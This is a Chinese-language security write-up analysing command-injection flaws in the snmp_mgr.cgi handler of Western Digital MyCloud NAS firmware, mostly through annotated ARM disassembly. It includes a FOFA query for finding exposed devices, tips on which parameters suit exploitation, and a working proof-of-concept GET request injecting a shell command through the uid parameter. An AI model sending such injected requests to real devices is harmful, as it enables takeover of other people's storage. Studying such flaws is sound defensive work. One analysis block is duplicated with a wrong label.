漏洞简介
Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS snmp_mgr.cgi中存在多处命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行命令,获取服务器权限,进而控制整个web服务器。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
漏洞分析
传参的逻辑在最上面也能看到

程序首先调用 cgiFormString 函数,从HTTP请求中获取一个名为 cmd 的参数值。这个值决定了接下来要执行什么操作。
根据漏洞通告,使用IDA打开 snmp_mgr.cgi 搜索 cgi_SNMPv3_delete_one_record 定位到它的处理逻辑处

程序通过一连串的 strcmp (字符串比较) 来判断 cmd 参数的值,并根据不同的值,跳转(BL指令)到不同的子函数执行相应的操作。
cgi_SNMPv3_delete_one_record
当cmd=cgi_SNMPv3_delete_one_record 时,跳转进入 sub_117E4 ,汇编处理逻辑如下
sub_117E4
var_48= -0x48
; __unwind {
PUSH {LR}
SUB SP, SP, #0x244
ADD R1, SP, #0x248+var_48
MOV R2, #0x40 ; '@'
LDR R0, =aUid ; "uid"
BL cgiFormString
ADD R2, SP, #0x248+var_48
LDR R1, =aSnmpToolRSDevN ; "snmp_tool -r \"%s\" >/dev/null 2>&1"
MOV R0, SP ; s
BL sprintf
MOV R0, SP ; command
BL system
LDR R0, =command ; "snmp_tool -s >/dev/null 2>&1"
BL system
LDR R0, =aTextHtml ; "text/html"
BL cgiHeaderContentType
ADD SP, SP, #0x244
POP {LR}
BX LR
; End of function sub_117E4
到这就很清楚了,漏洞形成原因是直接将 uid 拼接进 snmp_tool 命令工具的参数里面,从而导致的命令注入漏洞。
cgi_get_SNMPv3_one_record
存在同样漏洞的还有 cgi_get_SNMPv3_one_record(sub_11178),汇编处理逻辑如下
sub_11178
var_28= -0x28
var_24= -0x24
var_20= -0x20
var_1C= -0x1C
var_18= -0x18
var_14= -0x14
var_10= -0x10
var_C= -0xC
; __unwind {
PUSH {LR}
MOV R3, #0
SUB SP, SP, #0x224
MOV R1, R3 ; c
MOV R0, SP ; s
MOV R2, #0x200 ; n
STR R3, [SP,#0x228+var_28]
STR R3, [SP,#0x228+var_24]
STR R3, [SP,#0x228+var_20]
STR R3, [SP,#0x228+var_1C]
STR R3, [SP,#0x228+var_18]
STR R3, [SP,#0x228+var_14]
STR R3, [SP,#0x228+var_10]
STR R3, [SP,#0x228+var_C]
BL memset
ADD R1, SP, #0x228+var_28
MOV R2, #0x20 ; ' '
LDR R0, =aUid ; "uid"
BL cgiFormString
ADD R2, SP, #0x228+var_28
LDR R1, =aSnmpToolUSDevN ; "snmp_tool -U \"%s\" >/dev/null 2>&1"
MOV R0, SP ; s
BL sprintf
MOV R0, SP ; command
BL system
LDR R0, =aTextHtml ; "text/html"
BL cgiHeaderContentType
ADD SP, SP, #0x224
POP {LR}
BX LR
; End of function sub_11178
也是将 uid 直接拼接进 snmp_tool 命令工具的参数里面,从而导致的命令注入漏洞。
cgi_set_SNMP_v2
当cmd=cgi_set_SNMP_v2 时,会跳转到 sub_1150C ,其汇编处理如下
sub_1150C
command= -0x348
s= -0x148
var_C8= -0xC8
var_48= -0x48
var_44= -0x44
var_40= -0x40
var_3C= -0x3C
var_38= -0x38
var_34= -0x34
var_30= -0x30
var_2C= -0x2C
var_28= -0x28
var_24= -0x24
var_20= -0x20
var_1C= -0x1C
var_18= -0x18
var_14= -0x14
; __unwind {
PUSH {R4-R6,LR}
SUB SP, SP, #0x730
SUB SP, SP, #8
MOV R4, #0
MOV R6, #0x80
MOV R1, R4 ; c
MOV R2, R6 ; n
ADD R0, SP, #0x748+s ; s
MOV R5, #0x200
STR R4, [SP,#0x748+var_28]
STR R4, [SP,#0x748+var_24]
STR R4, [SP,#0x748+var_20]
STR R4, [SP,#0x748+var_1C]
STR R4, [SP,#0x748+var_18]
STR R4, [SP,#0x748+var_14]
BL memset
MOV R1, R4 ; c
MOV R2, R6 ; n
ADD R0, SP, #0x748+var_C8 ; s
BL memset
MOV R1, R4 ; c
MOV R2, R5 ; n
MOV R0, SP ; s
BL memset
MOV R1, R4 ; c
MOV R2, R5 ; n
ADD R0, SP, R5 ; s
BL memset
MOV R1, R4 ; c
MOV R2, R5 ; n
ADD R0, SP, #0x748+command ; s
STR R4, [SP,#0x748+var_48]
STR R4, [SP,#0x748+var_44]
STR R4, [SP,#0x748+var_40]
STR R4, [SP,#0x748+var_3C]
STR R4, [SP,#0x748+var_38]
STR R4, [SP,#0x748+var_34]
STR R4, [SP,#0x748+var_30]
STR R4, [SP,#0x748+var_2C]
BL memset
ADD R1, SP, #0x748+var_28
MOV R2, #8
LDR R0, =aFEnable ; "f_enable"
BL cgiFormString
ADD R1, SP, #0x748+var_28
ADD R1, R1, #8
MOV R2, #8
LDR R0, =aSnmpEnabledLev ; "snmp_enabled_level"
BL cgiFormString
MOV R1, SP
MOV R2, R5
LDR R0, =aSnmpSyslocatio ; "snmp_syslocation"
BL cgiFormString
MOV R2, R5
ADD R1, SP, R5
LDR R0, =aSnmpSyscontact ; "snmp_syscontact"
BL cgiFormString
ADD R1, SP, #0x748+s
MOV R2, R6
LDR R0, =aFCommunity ; "f_community"
BL cgiFormString
MOV R2, R6
ADD R1, SP, #0x748+var_C8
LDR R0, =aNotificationCo ; "notification_community"
BL cgiFormString
ADD R1, SP, #0x748+var_18
MOV R2, #8
LDR R0, =aNotificationEn ; "notification_enable"
BL cgiFormString
ADD R1, SP, #0x748+var_48
MOV R2, #0x20 ; ' '
LDR R0, =aIp ; "ip"
BL cgiFormString
ADD R2, SP, #0x748+var_28
LDR R1, =aSnmpToolBSDevN ; "snmp_tool -B %s >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; s
BL sprintf
ADD R0, SP, #0x748+command ; command
BL system
ADD R2, SP, #0x748+var_28
ADD R2, R2, #8
ADD R0, SP, #0x748+command ; s
LDR R1, =aSnmpToolBSDevN_0 ; "snmp_tool -b %s >/dev/null 2>&1"
BL sprintf
ADD R0, SP, #0x748+command ; command
BL system
ADD R0, SP, #0x748+s
BL sub_11000
ADD R2, SP, #0x748+s
LDR R1, =aSnmpToolZSDevN ; "snmp_tool -Z \"%s\" >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; s
BL sprintf
ADD R0, SP, #0x748+command ; command
BL system
MOV R0, SP
BL sub_11000
MOV R2, SP
LDR R1, =aSnmpToolLSDevN ; "snmp_tool -L \"%s\" >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; s
BL sprintf
ADD R0, SP, #0x748+command ; command
BL system
ADD R0, SP, R5
BL sub_11000
ADD R2, SP, R5
LDR R1, =aSnmpToolCSDevN ; "snmp_tool -C \"%s\" >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; s
BL sprintf
ADD R0, SP, #0x748+command ; command
BL system
ADD R2, SP, #0x748+var_18
LDR R1, =aSnmpToolESDevN ; "snmp_tool -E %s >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; s
BL sprintf
ADD R0, SP, #0x748+command ; command
BL system
ADD R0, SP, #0x748+var_C8
BL sub_11000
ADD R2, SP, #0x748+var_C8
ADD R3, SP, #0x748+var_48
ADD R0, SP, #0x748+command ; s
LDR R1, =aSnmpToolOSOSDe ; "snmp_tool -o \"%s\" -O \"%s\" >/dev/nul"...
BL sprintf
ADD R0, SP, #0x748+command ; command
BL system
LDR R0, =command ; "snmp_tool -s >/dev/null 2>&1"
BL system
LDR R0, =aTextHtml ; "text/html"
BL cgiHeaderContentType
ADD SP, SP, #0x338
ADD SP, SP, #0x400
POP {R4-R6,LR}
BX LR
; End of function sub_1150C
程序依次调用 cgiFormString 函数来获取HTTP请求中的多个参数值,并将它们存储到栈上的不同缓冲区中。
f_enable(存入SP + 0x748 + var_28,大小为8字节)snmp_enabled_level(存入SP + 0x748 + var_28 + 8,大小为8字节)snmp_syslocation(存入SP,大小为512字节)snmp_syscontact(存入SP + R5,大小为512字节)f_community(存入SP + 0x748 + s,大小为128字节)notification_community(存入SP + 0x748 + var_C8,大小为128字节)notification_enable(存入SP + 0x748 + var_18,大小为8字节)ip(存入SP + 0x748 + var_48,大小为32字节)
在进行利用需要注意长度大小,可以选取大一点的如128或512字节的参数进行利用。
程序会多次使用 sprintf 和 system 来执行 snmp_tool 命令:
设置 SNMP 启用状态 (-B):
ADD R2, SP, #0x748+var_28 ; R2 指向 f_enable 参数的缓冲区
LDR R1, =aSnmpToolBSDevN ; "snmp_tool -B %s >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL sprintf ; 格式化命令
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL system ; 执行命令
这里 %s 会被 f_enable 的值替换。
设置 SNMP 启用级别 (-b):
ADD R2, SP, #0x748+var_28 ; R2 指向 f_enable 参数的缓冲区
ADD R2, R2, #8 ; 偏移8字节,指向 snmp_enabled_level 参数的缓冲区
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
LDR R1, =aSnmpToolBSDevN_0 ; "snmp_tool -b %s >/dev/null 2>&1"
BL sprintf ; 格式化命令
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL system ; 执行命令
- 这里
%s会被snmp_enabled_level的值替换。
处理 f_community 参数:
ADD R0, SP, #0x748+s ; R0 指向 f_community 参数的缓冲区
BL sub_11000 ; 调用 sub_11000 处理 f_community
ADD R2, SP, #0x748+s ; R2 指向 f_community 参数的缓冲区
LDR R1, =aSnmpToolZSDevN ; "snmp_tool -Z \"%s\" >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL sprintf ; 格式化命令
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL system ; 执行命令
这里 %s 会被 f_community 的值替换。请注意 sub_11000 会对 \ 和 " 进行转义,但不会对 ;, |, & 等shell元字符进行转义。
处理 snmp_syslocation 参数:
MOV R0, SP ; R0 指向 snmp_syslocation 参数的缓冲区
BL sub_11000 ; 调用 sub_11000 处理 snmp_syslocation
MOV R2, SP ; R2 指向 snmp_syslocation 参数的缓冲区
LDR R1, =aSnmpToolLSDevN ; "snmp_tool -L \"%s\" >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL sprintf ; 格式化命令
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL system ; 执行命令
这里 %s 会被 snmp_syslocation 的值替换。
处理 snmp_syscontact 参数:
ADD R0, SP, R5 ; R0 指向 snmp_syscontact 参数的缓冲区
BL sub_11000 ; 调用 sub_11000 处理 snmp_syscontact
ADD R2, SP, R5 ; R2 指向 snmp_syscontact 参数的缓冲区
LDR R1, =aSnmpToolCSDevN ; "snmp_tool -C \"%s\" >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL sprintf ; 格式化命令
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL system ; 执行命令
这里 %s 会被 snmp_syscontact 的值替换。
处理 notification_enable 参数:
ADD R2, SP, #0x748+var_18 ; R2 指向 notification_enable 参数的缓冲区
LDR R1, =aSnmpToolESDevN ; "snmp_tool -E %s >/dev/null 2>&1"
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL sprintf ; 格式化命令
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL system ; 执行命令
这里 %s 会被 notification_enable 的值替换。
处理 notification_community 和 ip 参数:
ADD R0, SP, #0x748+var_C8 ; R0 指向 notification_community 参数的缓冲区
BL sub_11000 ; 调用 sub_11000 处理 notification_community
ADD R2, SP, #0x748+var_C8 ; R2 指向 notification_community 参数的缓冲区
ADD R3, SP, #0x748+var_48 ; R3 指向 ip 参数的缓冲区
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
LDR R1, =aSnmpToolOSOSDe ; "snmp_tool -o \"%s\" -O \"%s\" >/dev/nul"...
BL sprintf ; 格式化命令
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL system ; 执行命令
这里 %s 会被 notification_enable 的值替换。
处理 notification_community 和 ip 参数:
ADD R0, SP, #0x748+var_C8 ; R0 指向 notification_community 参数的缓冲区
BL sub_11000 ; 调用 sub_11000 处理 notification_community
ADD R2, SP, #0x748+var_C8 ; R2 指向 notification_community 参数的缓冲区
ADD R3, SP, #0x748+var_48 ; R3 指向 ip 参数的缓冲区
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
LDR R1, =aSnmpToolOSOSDe ; "snmp_tool -o \"%s\" -O \"%s\" >/dev/nul"...
BL sprintf ; 格式化命令
ADD R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL system ; 执行命令
这里 %s 会分别被 notification_community 和 ip 的值替换。
重新启动 SNMP 服务:
LDR R0, =command ; "snmp_tool -s >/dev/null 2>&1"
BL system ; 执行命令
这是一个硬编码的命令,用于重启SNMP服务。
根据缓冲区大小,当前逻辑下,各个参数的缓冲区大小以及是否可利用如下表

cgi_set_SNMPv3_one_record
解释下下面的汇编代码
sub_111FC
var_88C= -0x88C
var_888= -0x888
var_884= -0x884
var_880= -0x880
var_87C= -0x87C
var_870= -0x870
var_670= -0x670
var_46C= -0x46C
var_27C= -0x27C
var_7C= -0x7C
var_3C= -0x3C
var_1C= -0x1C
nptr= -0xC
var_8= -8
; __unwind {
PUSH {R4-R8,R10,LR}
SUB SP, SP, #0x880
SUB SP, SP, #0xC
MOV R5, #0
ADD R1, SP, #0x88C+nptr
MOV R2, #8
ADD R7, SP, #0x860
LDR R0, =aDataLen ; "data_len"
ADD R6, SP, #0x88C+var_670
STR R5, [SP,#0x88C+nptr]
ADD R8, SP, #0x88C+var_1C
STR R5, [SP,#0x88C+var_8]
BL cgiFormString
MOV R1, R5 ; endptr
MOV R2, #0xA ; base
ADD R0, SP, #0x88C+nptr ; nptr
ADD R10, SP, #0x88C+var_7C
BL strtol
ADD R10, R10, #0xC
ADD R0, R0, #1 ; size
BL malloc
MOV R1, R5 ; endptr
MOV R2, #0xA ; base
MOV R4, R0
ADD R0, SP, #0x88C+nptr ; nptr
BL strtol
MOV R1, R4
ADD R2, R0, #1
LDR R0, =aData ; "data"
BL cgiFormString
ADD R2, SP, #0x88C+var_870
MOV R0, R4
MOV R1, #1
BL sub_10F34
MOV R0, R4
ADD R2, SP, #0x88C+var_3C
MOV R1, #2
BL sub_10F34
MOV R0, R4
MOV R2, R7
MOV R1, #3
BL sub_10F34
MOV R0, R4
MOV R2, R6
MOV R1, #4
BL sub_10F34
MOV R0, R4
MOV R2, R8
MOV R1, #5
BL sub_10F34
ADD R3, SP, #0x88C+var_46C
ADD R3, R3, #8
MOV R0, R4
SUB R5, R3, #0xC
MOV R1, #6
MOV R2, R5
BL sub_10F34
MOV R2, R10
MOV R1, #7
MOV R0, R4
BL sub_10F34
MOV R0, R6
BL sub_11000
MOV R0, R5
BL sub_11000
ADD R0, SP, #0x88C+var_27C
ADD R2, SP, #0x88C+var_870
ADD R3, SP, #0x88C+var_3C
LDR R1, =aSnmpToolV3USLS ; "snmp_tool -v 3 -u \"%s\" -l \"%s\" -a "...
ADD R0, R0, #0xC ; s
STR R7, [SP,#0x88C+var_88C]
STR R6, [SP,#0x88C+var_888]
STR R5, [SP,#0x88C+var_880]
STR R8, [SP,#0x88C+var_884]
STR R10, [SP,#0x88C+var_87C]
BL sprintf
ADD R0, SP, #0x88C+var_27C
ADD R0, R0, #0xC ; command
BL system
LDR R0, =command ; "snmp_tool -s >/dev/null 2>&1"
BL system
MOV R0, R4 ; ptr
BL free
LDR R0, =aTextHtml ; "text/html"
BL cgiHeaderContentType
ADD SP, SP, #0x8C
ADD SP, SP, #0x800
POP {R4-R8,R10,LR}
BX LR
; End of function sub_111FC
此函数的功能是接收一个包含多项配置的XML-like数据块,解析它,然后用解析出的值构造一个复杂的命令行来配置SNMPv3用户。与之前分析的函数类似,这个函数也存在极其严重的命令注入漏洞,因为解析出的用户数据在未经充分过滤的情况下被直接拼接到 system() 调用中。
详细执行流程
- 初始化与**内存**分配 (Initialization and Memory Allocation**)**:
- 函数在栈上分配了
0x88C(约2.2KB) 的巨大空间。 cgiFormString首先获取data_len参数,这个参数指明了后续data参数的长度。- 程序使用
strtol将data_len转换为数字,然后调用malloc分配一块大小为data_len + 1的堆内存。这块内存(指针存在R4)将用于存储data参数的内容。 - 接着,程序调用
cgiFormString将data参数的内容读入刚刚分配的堆内存中。
- 函数在栈上分配了
- 数据解析 (Data Parsing): 这是该函数的核心部分。程序假设
data参数是一个包含多个字段的结构化字符串(可能是简化的XML或类似格式)。它通过多次调用sub_10F34函数来解析出各个字段的值。sub_10F34的作用: 这个子函数sub_10F34(char *data_blob, int field_index, char *output_buffer)的功能是从输入的data_blob中,根据field_index(字段索引,如1, 2, 3...)提取出第 N 个<cell>标签内的内容,并将其复制到output_buffer中。- 解析过程:
sub_10F34(R4, 1, ...): 解析第1个字段,存入[SP+0x88C+var_870]。sub_10F34(R4, 2, ...): 解析第2个字段,存入[SP+0x88C+var_3C]。- ...依此类推,一共解析了7个字段,分别存放在栈上的不同缓冲区中。
- 不充分的过滤 (Insufficient Filtering):
MOV R0, R6/BL sub_11000: 对第4个解析出的字段(存放在R6指向的缓冲区)调用sub_11000进行过滤。MOV R0, R5/BL sub_11000: 对第6个解析出的字段(存放在R5指向的缓冲区)调用sub_11000进行过滤。- 关键缺陷: 正如之前分析,
sub_11000函数的过滤机制是无效的,它无法阻止命令注入。更重要的是,其他5个解析出的字段完全没有经过任何过滤!
- 构造并执行命令 (Command Construction and Execution):
sprintf: 程序使用sprintf将所有7个解析出的字段值拼接到一个非常长的命令行格式字符串aSnmpToolV3USLS中。"snmp_tool -v 3 -u \"%s\" -l \"%s\" -a \"%s\" -A \"%s\" -x \"%s\" -X \"%s\" -V \"%s\" >/dev/null 2>&1"- 这里的
%s占位符会被依次替换为从data参数中解析出的7个字段的值。 system(): 拼接好的命令字符串被传递给system()执行。
- 收尾工作:
- 执行
snmp_tool -s命令来保存设置。 - 调用
free(R4)释放之前为data分配的堆内存。 - 返回HTTP响应头。
- 执行
cgi_SNMPv3_modify_one_record
和上面的一样的逻辑

漏洞复现
cgi_SNMPv3_delete_one_record
GET /cgi-bin/snmp_mgr.cgi?cmd=cgi_SNMPv3_delete_one_record&uid=%24(touch%20/var/www/t.png) HTTP/1.1
Host: west.mrxn.net

访问生成的文件,成功创建
cgi_set_SNMP_v2


成功执行命令
cgi_SNMPv3_modify_one_record


cgi_set_SNMPv3_one_record









